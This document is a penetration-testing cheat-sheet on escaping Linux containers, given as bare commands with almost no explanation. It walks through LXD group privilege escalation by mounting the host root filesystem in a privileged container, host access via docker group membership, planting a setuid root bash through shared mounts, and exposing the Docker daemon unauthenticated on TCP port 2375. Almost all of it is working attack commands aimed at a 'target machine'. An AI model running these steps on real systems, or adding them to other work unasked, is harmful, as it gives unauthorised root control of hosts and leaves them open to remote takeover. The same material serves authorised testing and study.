Container Escape

LXD Group Exploit

The lxd group members can manage the entire LXD daemon, which includes creating containers that interact with the host system.

Download the repo

git clone https://github.com/saghul/lxd-alpine-builder

Build the image

You need to match the architecture of the target machine

Check the target's architecture:

uname -m

builds an image for the 64-bit (x86_64) architecture

./build-alpine -a x86_64

builds an image for the 32-bit (i686) architecture

./build-alpine -a i686

• Transfer the file to the target machine

Import the image

lxc image import <filename>.tar.gz --alias myimage

Get the Image Name

lxc image list

Create the Privileged Container

lxc init [myimage] [container_name] -c security.privileged=true

Mount the Host Filesystem

lxc config device add [container_name] [device_name] disk source=/ path=/mnt/root

Start the container

lxc start [container_name]

Get a shell inside the container

lxc exec [container_name] /bin/sh

Once inside, navigate to the mounted host filesystem

cd /mnt/root

Escape Docker

Tools like nsenter or docker-exploit can be used to attempt escaping the container.

If the user is in the docker group, attempt to run the following command to mount the host filesystem and gain access to the host:

docker run -v /:/mnt -it bash bash

File Ownership Manipulation via Shared Mounts

• Check permissions and ownership when you create a file from host and container:

touch from_host
touch from_container

• If the container is miss configured and can creates files as a root, and you can access the files created by the host on the container:

  1. From the host, copy bash in to the mounted directory.

  2. From the container, change the ownership and permissions of bash to root.

  3. Execute bash as root.

cp /bin/bash .
chown root:root bash; chmod 4777 bash
./bash -p

Configure Docker to listen on a TCP port

1. Open the Docker service file, typically at /lib/systemd/system/docker.service or /etc/systemd/system/docker.service.

2. Change ExecStart to bind a TCP address:

ExecStart=/usr/bin/dockerd --host=tcp://0.0.0.0:2375

1. Reload the daemon and restart Docker if needed:

systemctl daemon-reload
systemctl restart docker

1. Connect to it using docker-cli:

export DOCKER_HOST=tcp://<host_ip>:2375
docker ps